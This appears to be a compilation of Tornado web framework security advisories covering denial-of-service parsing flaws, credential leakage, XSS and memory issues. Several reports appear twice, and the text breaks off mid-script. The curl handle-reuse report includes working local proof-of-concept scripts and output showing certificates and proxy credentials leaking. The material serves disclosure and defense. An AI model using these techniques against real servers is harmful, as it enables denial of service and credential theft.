Tornado parses application/x-www-form-urlencoded bodies with urllib.parse.parse_qs and does not pass max_num_fields. A body made almost entirely of separators produces tens of millions of fields, and the parse happens on the event loop before the handler runs, so a single request stalls the whole server.

Where it is

tornado/escape.py, at HEAD e530031405e2154654dedc4c84d5656b557ea310:

result = urllib.parse.parse_qs(
    qs, keep_blank_values, strict_parsing, encoding="latin1", errors="strict"
)

max_num_fields is the parameter CPython added for exactly this, and it is absent.

The path to it is entirely server-side and pre-dispatch. RequestHandler._execute parses the body at tornado/web.py:1821, which reaches HTTPServerRequest._parse_body at tornado/httputil.py:636, and the urlencoded branch of parse_body_arguments calls parse_qs_bytes at tornado/httputil.py:1030.

The size that reaches it is bounded only by the body cap, which defaults to the stream's max_buffer_size of 104857600 at tornado/iostream.py:239, applied as the request body default at tornado/http1connection.py:136-140. A 100 MB body of separators is around fifty million fields.

Impact

Denial of service against the whole process, not one request. Tornado is single-threaded and the parse is synchronous on the event loop, so every other connection waits. No authentication is needed if any route accepts a form post, which is the normal case.

Suggested fix

Pass a bound:

result = urllib.parse.parse_qs(
    qs, keep_blank_values, strict_parsing, encoding="latin1", errors="strict",
    max_num_fields=max_num_fields,
)

with a conservative default and a way for applications to raise it. CPython raises ValueError when the limit is exceeded, which maps cleanly onto a 400.

Lowering the default body cap for urlencoded specifically would help too, since 100 MB of form fields is not a shape any real client sends.

Why I do not think this is a duplicate

The published tornado advisories cover out-of-bounds access in the C extension, unbounded accumulation of decompressed chunks in AsyncHTTPClient, the Authorization header surviving cross-origin redirects, credential leakage on curl handle reuse, and cookie attribute validation. The decompression one is the nearest in spirit and is on the client side; this is the server parsing a request body. The call is unchanged at HEAD.

Description

Summary

parse_multipart_form_data (httputil.py:34) calls data.split(b"--"+boundary+b"\r\n") before the max_parts check (:35). A 600KB body with 100k parts creates a 100k-element transient list first, then rejects transient memory amplification (each split element is a copy). Pre-auth HTTP DoS.

Root cause

parts = data[:final_boundary_index].split(b"--" + boundary + b"\r\n")  # :34  huge list first
if len(parts) > config.max_parts:                                       # :35  check after
    raise HTTPInputError("multipart/form-data has too many parts")

PoC

gist: https://gist.github.com/afldl/649861f25d39b53b7edbe0298e171617 poc.py + output.txt (100k parts from 600KB transient list).

Fix

Count separators without materializing the list (e.g. data.count(b"--"+boundary) first).

Credit

Reported by afldl, 2026-07.

Summary

When SimpleAsyncHTTPClient follows a 3xx redirect, it shallow-copies the original HTTPRequest, rewrites the URL, decrements max_redirects, and removes only the Host header. It does not clear Authorization, auth_username, auth_password, or auth_mode when the redirect target changes origin.

As a result, credentials intended for one origin can be forwarded to a different origin when follow_redirects=True, which is the default.

Beginning in Tornado 6.5.6, SimpleAsyncHTTPClient matches the default behavior of libcurl (and therefore CurlAsyncHTTPClient): When a redirect changes the scheme, host, or port of the url, the Authorization and Cookie headers will be removed when following the redirect.

Tornado's gzip decompression routines work in limited-size chunks, but have no overall limit for the total size of decompressed chunks that they will accumulate (There has always been a limit for the total compressed size). This allows a malicious server to consume effectively unlimited amounts of memory if it is accessed via SimpleAsyncHTTPClient in its default configuration. HTTPServer is not affected in its default configuration, but it is if decompress_request=True is set.

This bug is fixed in Tornado 6.5.6. max_body_size is now checked both for the compressed and cumulative decompressed size of the response.

Prior to upgrading, this issue can be mitigated by setting decompress_response=False or using CurlAsyncHTTPClient.

Summary

Tornado's optional native extension tornado.speedups implements websocket_mask without validating that the mask argument is exactly four bytes long. The C function reads four bytes from mask unconditionally, even when Python passes a shorter byte string. This can read beyond the provided buffer, exposing up to 3 bytes of uninitialized memory.

The behavior is reachable from Tornado's XSRF token decoder when xsrf_cookies=True and the native extension is active.

Mitigations

This bug is fixed in Tornado 6.5.6. Prior to upgrading to this version, setting the environment variable TORNADO_EXTENSION=0 will disable the vulnerable code (at the expense of reducing websocket performance).

CurlAsyncHTTPClient leaks per-request credentials on handle reuse

Summary

CurlAsyncHTTPClient pools and reuses pycurl handles across requests but does not reset them between requests, and several per-request options are applied with no clearing branch. As a result, sensitive state set by one request persists onto a later request on the same client that does not set it. Two credential vectors are demonstrated below — a client TLS certificate (SSLCERT/SSLKEY) and proxy basic-auth credentials (PROXYUSERPWD) — both leaking to a different, unintended host. This affects all released versions through 6.5.6.

Details

In tornado/curl_httpclient.py, handles are created once and returned to a free list for reuse (_process_queue pops the handle at line 200, _finish re-appends it at line 245), and _curl_setup_request is never preceded by curl.reset(). The function clears some carried-over state on the reused handle — unsetopt(PROXYUSERPWD) in the no-proxy branch (line 394), unsetopt(USERPWD) when no auth is set (line 495), and the HTTP-method flag reset (lines 428-432) — but other options have no equivalent clearing path and persist until a later request sets them again.

Vector A — client TLS certificate (SSLCERT/SSLKEY). Set-only, no clearing branch:

# tornado/curl_httpclient.py (v6.5.6), lines 498-502
if request.client_cert is not None:
    curl.setopt(pycurl.SSLCERT, request.client_cert)

if request.client_key is not None:
    curl.setopt(pycurl.SSLKEY, request.client_key)

A request that sets client_cert leaves the certificate on the handle; a later request without client_cert presents it during its TLS handshake.

Vector B — proxy credentials (PROXYUSERPWD). PROXYUSERPWD is set only inside the credentials branch and unset only in the no-proxy else branch:

# tornado/curl_httpclient.py (v6.5.6), lines 371-394
if request.proxy_host and request.proxy_port:
    curl.setopt(pycurl.PROXY, request.proxy_host)
    curl.setopt(pycurl.PROXYPORT, request.proxy_port)
    if request.proxy_username:                 # only place PROXYUSERPWD is set
        ...
        curl.setopt(pycurl.PROXYUSERPWD, credentials)
    ...
else:
    try:
        curl.unsetopt(pycurl.PROXY)
    except TypeError:
        curl.setopt(pycurl.PROXY, "")
    curl.unsetopt(pycurl.PROXYUSERPWD)         # only place it is unset

A request that sets a new proxy_host without proxy_username updates PROXY/PROXYPORT but never reaches the else, so the previous request's credentials persist and are sent to the new proxy.

The same class also affects INTERFACE (lines 365-366: set only when request.network_interface is truthy, with no clearing branch), which is a lower-severity instance — a later request can be bound to a network interface it did not request. A single fix addresses all three (see Mitigation).

PoC

Both reproduce against the pinned release using public API only (CurlAsyncHTTPClient, HTTPRequest, and the documented per-request arguments).

Vector A — client TLS certificate

The two servers listen on different ports, so request B opens a fresh TCP+TLS connection; the certificate can only reach server 2 via the persisted handle option, not connection or session reuse.

python3 -m venv venv
./venv/bin/pip install "tornado==6.5.6" pycurl cryptography
./venv/bin/python poc_client_cert.py

import asyncio
import datetime
import ipaddress
import os
import socket
import ssl
import sys
import tempfile
import threading

from cryptography import x509
from cryptography.x509.oid import NameOID, ExtendedKeyUsageOID
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa

from tornado.httpclient import HTTPRequest
from tornado.curl_httpclient import CurlAsyncHTTPClient


def _key():
    return rsa.generate_private_key(public_exponent=65537, key_size=2048)


def _ca():
    key = _key()
    name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "PoC-CA")])
    now = datetime.datetime.now(datetime.timezone.utc)
    cert = (
        x509.CertificateBuilder()
        .subject_name(name).issuer_name(name)
        .public_key(key.public_key())
        .serial_number(x509.random_serial_number())
        .not_valid_before(now - datetime.timedelta(minutes=1))
        .not_valid_after(now + datetime.timedelta(days=1))
        .add_extension(x509.BasicConstraints(ca=True, path_length=None), critical=True)
        .sign(key, hashes.SHA256())
    )
    return cert, key


def _leaf(cn, ca_cert, ca_key, ips=None, client=False):
    key = _key()
    name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, cn)])
    now = datetime.datetime.now(datetime.timezone.utc)
    b = (
        x509.CertificateBuilder()
        .subject_name(name).issuer_name(ca_cert.subject)
        .public_key(key.public_key())
        .serial_number(x509.random_serial_number())
        .not_valid_before(now - datetime.timedelta(minutes=1))
        .not_valid_after(now + datetime.timedelta(days=1))
        .add_extension(x509.BasicConstraints(ca=False, path_length=None), critical=True)
    )
    if ips:
        b = b.add_extension(
            x509.SubjectAlternativeName([x509.IPAddress(ipaddress.ip_address(i)) for i in ips]),
            critical=False,
        )
    if client:
        b = b.add_extension(
            x509.ExtendedKeyUsage([ExtendedKeyUsageOID.CLIENT_AUTH]), critical=False
        )
    return b.sign(ca_key, hashes.SHA256()), key


def _pem(path, cert, key=None):
    with open(path, "wb") as fh:
        fh.write(cert.public_bytes(serialization.Encoding.PEM))
        if key is not None:
            fh.write(key.private_bytes(
                serialization.Encoding.PEM,
                serialization.PrivateFormat.TraditionalOpenSSL,
                serialization.NoEncryption(),
            ))


class TLSServer:
    def __init__(self, srv_pem, ca_pem, require):
        self.captures = []
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind(("127.0.0.1", 0))
        self.sock.listen(4)
        self.port = self.sock.getsockname()[1]
        self.ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
        self.ctx.load_cert_chain(srv_pem)
        self.ctx.load_verify_locations(ca_pem)
        self.ctx.verify_mode = ssl.CERT_REQUIRED if require else ssl.CERT_OPTIONAL
        threading.Thread(target=self._serve, daemon=True).start()

    def _serve(self):
        while True:
            try:
                conn, _ = self.sock.accept()
            except OSError:
                return
            try:
                s = self.ctx.wrap_socket(conn, server_side=True)
                self.captures.append(s.getpeercert() or None)
                try:
                    s.recv(4096)
                    s.sendall(b"HTTP/1.1 200 OK\r\nContent-Length: 2\r\nConnection: close\r\n\r\nok")
                except Exception:
                    pass
                s.close()
            except Exception:
                self.captures.append("handshake-failed")
                conn.close()

    def stop(self):
        try:
            self.sock.close()
        except Exception:
            pass


def _cn(peer):
    if not peer or not isinstance(peer, dict):
        return None
    for rdn in peer.get("subject", ()):
        for k, v in rdn:
            if k == "commonName":
                return v
    return None


async def main():
    with tempfile.TemporaryDirectory() as tmp:
        ca_cert, ca_key = _ca()
        s1_cert, s1_key = _leaf("server1.local", ca_cert, ca_key, ips=["127.0.0.1"])
        s2_cert, s2_key = _leaf("server2.local", ca_cert, ca_key, ips=["127.0.0.1"])
        cli_cert, cli_key = _leaf("trusted-client", ca_cert, ca_key, client=True)

        ca_pem = os.path.join(tmp, "ca.pem")
        s1_pem = os.path.join(tmp, "s1.pem")
        s2_pem = os.path.join(tmp, "s2.pem")
        cert_pem = os.path.join(tmp, "client.crt")
        key_pem = os.path.join(tmp, "client.key")
        _pem(ca_pem, ca_cert)
        _pem(s1_pem, s1_cert, s1_key)
        _pem(s2_pem, s2_cert, s2_key)
        _pem(cert_pem, cli_cert)
        with open(key_pem, "wb") as fh:
            fh.write(cli_key.private_bytes(
                serialization.Encoding.PEM,
                serialization.PrivateFormat.TraditionalOpenSSL,
                serialization.NoEncryption(),
            ))

        s1 = TLSServer(s1_pem, ca_pem, require=True)
        s2 = TLSServer(s2_pem, ca_pem, require=False)
        try:
            clean = CurlAsyncHTTPClient(max_clients=1, force_instance=True)
            await clean.fetch(HTTPRequest(
                f"https://127.0.0.1:{s2.port}/baseline",
                ca_certs=ca_pem, request_timeout=5), raise_error=False)
            clean.close()

            client = CurlAsyncHTTPClient(max_clients=1, force_instance=True)
            await client.fetch(HTTPRequest(
                f"https://127.0.0.1:{s1.port}/internal-mtls",
                client_cert=cert_pem, client_key=key_pem,
                ca_certs=ca_pem, request_timeout=5), raise_error=False)
            await client.fetch(HTTPRequest(
                f"https://127.0.0.1:{s2.port}/other-host",
                ca_certs=ca_pem, request_timeout=5), raise_error=False)
            await asyncio.sleep(0.2)
            client.close()
        finally:
            s1.stop()
            s2.stop()

        baseline = _cn(s2.captures[0]) if s2.captures else None
        leaked = _cn(s2.captures[1]) if len(s2.captures) > 1 else None

        print(f"{'scenario':<48}{'cert presented to server 2'}")
        print(f"{'-' * 48}{'-' * 28}")
        print(f"{'baseline: clean client, no client_cert':<48}{baseline!r}")
        print(f"{'exploit: reused handle (A had client_cert)':<48}{leaked!r}")
        print()
        print(f"(sanity) server 1 (mTLS required) saw: {_cn(s1.captures[0]) if s1.captures else None!r}")
        print()
        if baseline is None and leaked == "trusted-client":
            print("VERDICT: VULNERABLE — the client certificate from request A was "
                  "presented to server 2 on request B, which specified none.")
            return 0
        print(f"VERDICT: not reproduced (baseline={baseline!r} leaked={leaked!r})")
        return 2


if __name__ == "__main__":
    sys.exit(asyncio.run(main()))

Output (pip show tornado → 6.5.6, installed in the venv):

scenario                                        cert presented to server 2
----------------------------------------------------------------------------
baseline: clean client, no client_cert          None
exploit: reused handle (A had client_cert)      'trusted-client'

(sanity) server 1 (mTLS required) saw: 'trusted-client'

VERDICT: VULNERABLE — the client certificate from request A was presented to
server 2 on request B, which specified none.

Vector B — proxy credentials

Each proxy is a separate listener capturing the raw request bytes.

./venv/bin/python poc_proxy_creds.py

import asyncio
import base64
import socket
import sys
import threading

from tornado.httpclient import HTTPRequest
from tornado.curl_httpclient import CurlAsyncHTTPClient


class CapturingProxy:
    def __init__(self):
        self.captures = []
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind(("127.0.0.1", 0))
        self.sock.listen(4)
        self.port = self.sock.getsockname()[1]
        threading.Thread(target=self._serve, daemon=True).start()

    def _serve(self):
        while True:
            try:
                conn, _ = self.sock.accept()
            except OSError:
                return
            try:
                data = b""
                while b"\r\n\r\n" not in data and len(data) < 8192:
                    chunk = conn.recv(2048)
                    if not chunk:
                        break
                    data += chunk
                self.captures.append(data)
                conn.sendall(b"HTTP/1.1 502 Bad Gateway\r\nContent-Length: 0\r\n"
                             b"Connection: close\r\n\r\n")
            except Exception:
                pass
            finally:
                conn.close()

    def stop(self):
        try:
            self.sock.close()
        except Exception:
            pass


def proxy_authz(raw):
    head = raw.split(b"\r\n\r\n", 1)[0].decode("latin1", "replace")
    for line in head.split("\r\n"):
        if line.lower().startswith("proxy-authorization:"):
            return line
    return None


async def main():
    proxy_a = CapturingProxy()
    proxy_b = CapturingProxy()
    try:
        client = CurlAsyncHTTPClient(max_clients=1, force_instance=True)
        await client.fetch(HTTPRequest(
            "http://target.example/a",
            proxy_host="127.0.0.1", proxy_port=proxy_a.port,
            proxy_username="alice", proxy_password="secretA",
            request_timeout=5, connect_timeout=5), raise_error=False)
        await client.fetch(HTTPRequest(
            "http://target.example/b",
            proxy_host="127.0.0.1", proxy_port=proxy_b.port,
            request_timeout=5, connect_timeout=5), raise_error=False)
        await asyncio.sleep(0.2)
        client.close()
    finally:
        proxy_a.stop()
        proxy_b.stop()

    a = proxy_authz(proxy_a.captures[0]) if proxy_a.captures else None
    b = proxy_authz(proxy_b.captures[0]) if proxy_b.captures else None
    expected = "Basic " + base64.b64encode(b"alice:secretA").decode()

    print(f"{'request':<42}{'Proxy-Authorization seen by that proxy'}")
    print(f"{'-' * 42}{'-' * 40}")
    print(f"{'A -> proxy A (alice:secretA specified)':<42}{a or '(none)'}")
    print(f"{'B -> proxy B (NO credentials specified)':<42}{b or '(none)'}")
    print()
    if b and expected in b:
        print(f"VERDICT: VULNERABLE — proxy B received alice's credentials "
              f"({expected}) although request B specified no proxy_username.")
        return 0
    print(f"VERDICT: not reproduced (proxy B saw: {b!r})")
    return 2


if __name__ == "__main__":
    sys.exit(asyncio.run(main()))

Output (YWxpY2U6c2VjcmV0QQ== decodes to alice:secretA):

request                                   Proxy-Authorization seen by that proxy
----------------------------------------------------------------------------------
A -> proxy A (alice:secretA specified)    Proxy-Authorization: Basic YWxpY2U6c2VjcmV0QQ==
B -> proxy B (NO credentials specified)   Proxy-Authorization: Basic YWxpY2U6c2VjcmV0QQ==

VERDICT: VULNERABLE — proxy B received alice's credentials (Basic
YWxpY2U6c2VjcmV0QQ==) although request B specified no proxy_username.

Impact

• Type: Exposure of credentials to an unintended party (CWE-200), via reuse of a resource whose sensitive state was not cleared (CWE-672).
• Actors: An application that issues requests with differing per-request options on a shared CurlAsyncHTTPClient — for Vector A, mixing per-request client_cert requests with non-certificate requests; for Vector B, multiplexing requests across more than one proxy with per-proxy credentials.
• Effect: For Vector A, the client completes the TLS client-authentication handshake — proving possession of the private key and disclosing the certificate subject and chain — to a host that was never meant to receive it. For Vector B, proxy basic-auth credentials are transmitted (base64) to a different proxy. If the unintended host/proxy is attacker-controlled or attacker-influenced (a user-supplied URL, webhook target, SSRF-reachable endpoint, or a proxy chosen from user-controlled configuration), the credential is disclosed to the attacker.
• Scope: Only applications using the optional CurlAsyncHTTPClient backend with the patterns above are affected. The default SimpleAsyncHTTPClient is not affected (and does not support proxies).

Proposed CWE: CWE-200 / CWE-672. Proposed CVSS 3.1: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N (5.9, medium); attack complexity is High because exploitation depends on the application using differing per-request options on a shared client and on handle scheduling.

Mitigation

A single fix closes all instances of this class: call curl.reset() at the start of _curl_setup_request and then re-apply the per-request options, so no state from a prior request can persist on the reused handle. (Note curl.reset() also clears CAINFO, which the current code intentionally leaves untouched — see the comment at lines 401-409 — so that default would need to be re-established after the reset.)

Alternatively, add explicit clearing branches mirroring the existing PROXYUSERPWD/USERPWD handling:

# client certificate
if request.client_cert is not None:
    curl.setopt(pycurl.SSLCERT, request.client_cert)
else:
    curl.unsetopt(pycurl.SSLCERT)
if request.client_key is not None:
    curl.setopt(pycurl.SSLKEY, request.client_key)
else:
    curl.unsetopt(pycurl.SSLKEY)

# proxy credentials (inside the `if request.proxy_host and request.proxy_port:` branch)
if request.proxy_username:
    ...
    curl.setopt(pycurl.PROXYUSERPWD, credentials)
else:
    curl.unsetopt(pycurl.PROXYUSERPWD)

# network interface
if request.network_interface:
    curl.setopt(pycurl.INTERFACE, request.network_interface)
else:
    curl.unsetopt(pycurl.INTERFACE)

Until a fix is available, use a separate CurlAsyncHTTPClient instance per distinct credential set (per client certificate / per proxy credential), or use SimpleAsyncHTTPClient where applicable.

In Tornado before 6.5.5, cookie attribute injection could occur because the domain, path, and samesite arguments to .RequestHandler.set_cookie were not checked for crafted characters.

In versions of Tornado prior to 6.5.5, the only limit on the number of parts in multipart/form-data is the max_body_size setting (default 100MB). Since parsing occurs synchronously on the main thread, this creates the possibility of denial-of-service due to the cost of parsing very large multipart bodies with many parts.

Tornado 6.5.5 introduces new limits on the size and complexity of multipart bodies, including a default limit of 100 parts per request. These limits are configurable if needed; see tornado.httputil.ParseMultipartConfig. It is also now possible to disable multipart/form-data parsing entirely if it is not required for the application.

Summary

Tornado parses application/x-www-form-urlencoded bodies with urllib.parse.parse_qs and does not pass max_num_fields. A body made almost entirely of separators produces tens of millions of fields, and the parse happens on the event loop before the handler runs, so a single request stalls the whole server.

Where it is

tornado/escape.py, at HEAD e530031405e2154654dedc4c84d5656b557ea310:

result = urllib.parse.parse_qs(
    qs, keep_blank_values, strict_parsing, encoding="latin1", errors="strict"
)

max_num_fields is the parameter CPython added for exactly this, and it is absent.

The path to it is entirely server-side and pre-dispatch. RequestHandler._execute parses the body at tornado/web.py:1821, which reaches HTTPServerRequest._parse_body at tornado/httputil.py:636, and the urlencoded branch of parse_body_arguments calls parse_qs_bytes at tornado/httputil.py:1030.

The size that reaches it is bounded only by the body cap, which defaults to the stream's max_buffer_size of 104857600 at tornado/iostream.py:239, applied as the request body default at tornado/http1connection.py:136-140. A 100 MB body of separators is around fifty million fields.

Impact

Denial of service against the whole process, not one request. Tornado is single-threaded and the parse is synchronous on the event loop, so every other connection waits. No authentication is needed if any route accepts a form post, which is the normal case.

Suggested fix

Pass a bound:

result = urllib.parse.parse_qs(
    qs, keep_blank_values, strict_parsing, encoding="latin1", errors="strict",
    max_num_fields=max_num_fields,
)

with a conservative default and a way for applications to raise it. CPython raises ValueError when the limit is exceeded, which maps cleanly onto a 400.

Lowering the default body cap for urlencoded specifically would help too, since 100 MB of form fields is not a shape any real client sends.

Why I do not think this is a duplicate

The published tornado advisories cover out-of-bounds access in the C extension, unbounded accumulation of decompressed chunks in AsyncHTTPClient, the Authorization header surviving cross-origin redirects, credential leakage on curl handle reuse, and cookie attribute validation. The decompression one is the nearest in spirit and is on the client side; this is the server parsing a request body. The call is unchanged at HEAD.

Description

Summary

parse_multipart_form_data (httputil.py:34) calls data.split(b"--"+boundary+b"\r\n") before the max_parts check (:35). A 600KB body with 100k parts creates a 100k-element transient list first, then rejects transient memory amplification (each split element is a copy). Pre-auth HTTP DoS.

Root cause

parts = data[:final_boundary_index].split(b"--" + boundary + b"\r\n")  # :34  huge list first
if len(parts) > config.max_parts:                                       # :35  check after
    raise HTTPInputError("multipart/form-data has too many parts")

PoC

gist: https://gist.github.com/afldl/649861f25d39b53b7edbe0298e171617 poc.py + output.txt (100k parts from 600KB transient list).

Fix

Count separators without materializing the list (e.g. data.count(b"--"+boundary) first).

Credit

Reported by afldl, 2026-07.

Summary

The _parseparam function in Tornado's httputil.py is used to parse specific HTTP header values, such as those in multipart/form-data. This function uses an inefficient algorithm that repeatedly calls string.count() within a nested loop while processing quoted semicolons (e.g., param=";").

As a result, if an attacker sends a request with a large number of maliciously crafted parameters in a Content-Disposition header, the server's CPU usage increases quadratically (O(n²)) during parsing. Due to Tornado's single event loop architecture, a single malicious request can cause the entire server to become unresponsive for an extended period, leading to a Denial of Service (DoS).

Severity: High

Summary

The HTTPHeaders.add method in Tornado accumulates values using string concatenation when the same header name is repeated. Due to Python string immutability, each concatenation copies the entire string, resulting in O(n²) time complexity.

Given Tornado's single event loop architecture, a single maliciously crafted HTTP request can block the server's event loop for an extended period, causing a Denial of Service (DoS).

Severity: High if max_header_size has been increased from its default, low if it has its default value of 64KB.

Header injection and XSS via reason argument

Summary

The reason argument (used by both RequestHandler.set_status and tornado.web.HTTPError is designed to allow applications to pass custom "reason" phrases (the "Not Found" in HTTP/1.1 404 Not Found) to the HTTP status line (mainly for non-standard status codes). Vulnerabilities exist in Tornado versions prior to 6.5.3 if untrusted data is passed as the reason argument.

Details

In vulnerable versions, the supplied reason phrase is used unescaped in HTTP headers (where it could be used for header injection) or in HTML in the default error page (where it could be used for XSS).

Impact

• Type: Reflected Cross-Site Scripting (CWE-79) in default error page, or header injection (CWE-644)
• Actors: Remote attacker who can cause the application to raise HTTPError/set_status with an attacker-controlled reason (e.g., via query parameter used by developer).
• Effect: Execution of arbitrary JavaScript in victims' browsers when they view the error page — possible session token theft, CSRF escalation, UI spoofing, or other client-side attacks depending on context.
• Scope: Only applications that explicitly reflect untrusted input into reason are affected.

Mitigation

Aside from upgrading to Tornado 6.5.3 or newer, the vulnerability can be mitigated by not using untrusted data for the reason argument. In the intended use case the reason argument would generally be a string literal and not derived from user input. Also, the reason argument is rarely required (reason phrases are not used at all in HTTP/2) and can generally be omitted.

For a general-purpose error message in HTTPError, consider using the log_message argument instead of reason.

Summary

When SimpleAsyncHTTPClient follows a 3xx redirect, it shallow-copies the original HTTPRequest, rewrites the URL, decrements max_redirects, and removes only the Host header. It does not clear Authorization, auth_username, auth_password, or auth_mode when the redirect target changes origin.

As a result, credentials intended for one origin can be forwarded to a different origin when follow_redirects=True, which is the default.

Beginning in Tornado 6.5.6, SimpleAsyncHTTPClient matches the default behavior of libcurl (and therefore CurlAsyncHTTPClient): When a redirect changes the scheme, host, or port of the url, the Authorization and Cookie headers will be removed when following the redirect.

Tornado's gzip decompression routines work in limited-size chunks, but have no overall limit for the total size of decompressed chunks that they will accumulate (There has always been a limit for the total compressed size). This allows a malicious server to consume effectively unlimited amounts of memory if it is accessed via SimpleAsyncHTTPClient in its default configuration. HTTPServer is not affected in its default configuration, but it is if decompress_request=True is set.

This bug is fixed in Tornado 6.5.6. max_body_size is now checked both for the compressed and cumulative decompressed size of the response.

Prior to upgrading, this issue can be mitigated by setting decompress_response=False or using CurlAsyncHTTPClient.

Summary

Tornado's optional native extension tornado.speedups implements websocket_mask without validating that the mask argument is exactly four bytes long. The C function reads four bytes from mask unconditionally, even when Python passes a shorter byte string. This can read beyond the provided buffer, exposing up to 3 bytes of uninitialized memory.

The behavior is reachable from Tornado's XSRF token decoder when xsrf_cookies=True and the native extension is active.

Mitigations

This bug is fixed in Tornado 6.5.6. Prior to upgrading to this version, setting the environment variable TORNADO_EXTENSION=0 will disable the vulnerable code (at the expense of reducing websocket performance).

CurlAsyncHTTPClient leaks per-request credentials on handle reuse

Summary

CurlAsyncHTTPClient pools and reuses pycurl handles across requests but does not reset them between requests, and several per-request options are applied with no clearing branch. As a result, sensitive state set by one request persists onto a later request on the same client that does not set it. Two credential vectors are demonstrated below — a client TLS certificate (SSLCERT/SSLKEY) and proxy basic-auth credentials (PROXYUSERPWD) — both leaking to a different, unintended host. This affects all released versions through 6.5.6.

Details

In tornado/curl_httpclient.py, handles are created once and returned to a free list for reuse (_process_queue pops the handle at line 200, _finish re-appends it at line 245), and _curl_setup_request is never preceded by curl.reset(). The function clears some carried-over state on the reused handle — unsetopt(PROXYUSERPWD) in the no-proxy branch (line 394), unsetopt(USERPWD) when no auth is set (line 495), and the HTTP-method flag reset (lines 428-432) — but other options have no equivalent clearing path and persist until a later request sets them again.

Vector A — client TLS certificate (SSLCERT/SSLKEY). Set-only, no clearing branch:

# tornado/curl_httpclient.py (v6.5.6), lines 498-502
if request.client_cert is not None:
    curl.setopt(pycurl.SSLCERT, request.client_cert)

if request.client_key is not None:
    curl.setopt(pycurl.SSLKEY, request.client_key)

A request that sets client_cert leaves the certificate on the handle; a later request without client_cert presents it during its TLS handshake.

Vector B — proxy credentials (PROXYUSERPWD). PROXYUSERPWD is set only inside the credentials branch and unset only in the no-proxy else branch:

# tornado/curl_httpclient.py (v6.5.6), lines 371-394
if request.proxy_host and request.proxy_port:
    curl.setopt(pycurl.PROXY, request.proxy_host)
    curl.setopt(pycurl.PROXYPORT, request.proxy_port)
    if request.proxy_username:                 # only place PROXYUSERPWD is set
        ...
        curl.setopt(pycurl.PROXYUSERPWD, credentials)
    ...
else:
    try:
        curl.unsetopt(pycurl.PROXY)
    except TypeError:
        curl.setopt(pycurl.PROXY, "")
    curl.unsetopt(pycurl.PROXYUSERPWD)         # only place it is unset

A request that sets a new proxy_host without proxy_username updates PROXY/PROXYPORT but never reaches the else, so the previous request's credentials persist and are sent to the new proxy.

The same class also affects INTERFACE (lines 365-366: set only when request.network_interface is truthy, with no clearing branch), which is a lower-severity instance — a later request can be bound to a network interface it did not request. A single fix addresses all three (see Mitigation).

PoC

Both reproduce against the pinned release using public API only (CurlAsyncHTTPClient, HTTPRequest, and the documented per-request arguments).

Vector A — client TLS certificate

The two servers listen on different ports, so request B opens a fresh TCP+TLS connection; the certificate can only reach server 2 via the persisted handle option, not connection or session reuse.

python3 -m venv venv
./venv/bin/pip install "tornado==6.5.6" pycurl cryptography
./venv/bin/python poc_client_cert.py

import asyncio
import datetime
import ipaddress
import os
import socket
import ssl
import sys
import tempfile
import threading

from cryptography import x509
from cryptography.x509.oid import NameOID, ExtendedKeyUsageOID
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa

from tornado.httpclient import HTTPRequest
from tornado.curl_httpclient import CurlAsyncHTTPClient


def _key():
    return rsa.generate_private_key(public_exponent=65537, key_size=2048)


def _ca():
    key = _key()
    name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "PoC-CA")])
    now = datetime.datetime.now(datetime.timezone.utc)
    cert = (
        x509.CertificateBuilder()
        .subject_name(name).issuer_name(name)
        .public_key(key.public_key())
        .serial_number(x509.random_serial_number())
        .not_valid_before(now - datetime.timedelta(minutes=1))
        .not_valid_after(now + datetime.timedelta(days=1))
        .add_extension(x509.BasicConstraints(ca=True, path_length=None), critical=True)
        .sign(key, hashes.SHA256())
    )
    return cert, key


def _leaf(cn, ca_cert, ca_key, ips=None, client=False):
    key = _key()
    name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, cn)])
    now = datetime.datetime.now(datetime.timezone.utc)
    b = (
        x509.CertificateBuilder()
        .subject_name(name).issuer_name(ca_cert.subject)
        .public_key(key.public_key())
        .serial_number(x509.random_serial_number())
        .not_valid_before(now - datetime.timedelta(minutes=1))
        .not_valid_after(now + datetime.timedelta(days=1))
        .add_extension(x509.BasicConstraints(ca=False, path_length=None), critical=True)
    )
    if ips:
        b = b.add_extension(
            x509.SubjectAlternativeName([x509.IPAddress(ipaddress.ip_address(i)) for i in ips]),
            critical=False,
        )
    if client:
        b = b.add_extension(
            x509.ExtendedKeyUsage([ExtendedKeyUsageOID.CLIENT_AUTH]), critical=False
        )
    return b.sign(ca_key, hashes.SHA256()), key


def _pem(path, cert, key=None):
    with open(path, "wb") as fh:
        fh.write(cert.public_bytes(serialization.Encoding.PEM))
        if key is not None:
            fh.write(key.private_bytes(
                serialization.Encoding.PEM,
                serialization.PrivateFormat.TraditionalOpenSSL,
                serialization.NoEncryption(),
            ))


class TLSServer:
    def __init__(self, srv_pem, ca_pem, require):
        self.captures = []
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind(("127.0.0.1", 0))
        self.sock.listen(4)
        self.port = self.sock.getsockname()[1]
        self.ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
        self.ctx.load_cert_chain(srv_pem)
        self.ctx.load_verify_locations(ca_pem)
        self.ctx.verify_mode = ssl.CERT_REQUIRED if require else ssl.CERT_OPTIONAL
        threading.Thread(target=self._serve, daemon=True).start()

    def _serve(self):
        while True:
            try:
                conn, _ = self.sock.accept()
            except OSError:
                return
            try:
                s = self.ctx.wrap_socket(conn, server_side=True)
                self.captures.append(s.getpeercert() or None)
                try:
                    s.recv(4096)
                    s.sendall(b"HTTP/1.1 200 OK\r\nContent-Length: 2\r\nConnection: close\r\n\r\nok")
                except Exception:
                    pass
                s.close()
            except Exception:
                self.captures.append("handshake-failed")
                conn.close()

    def stop(self):
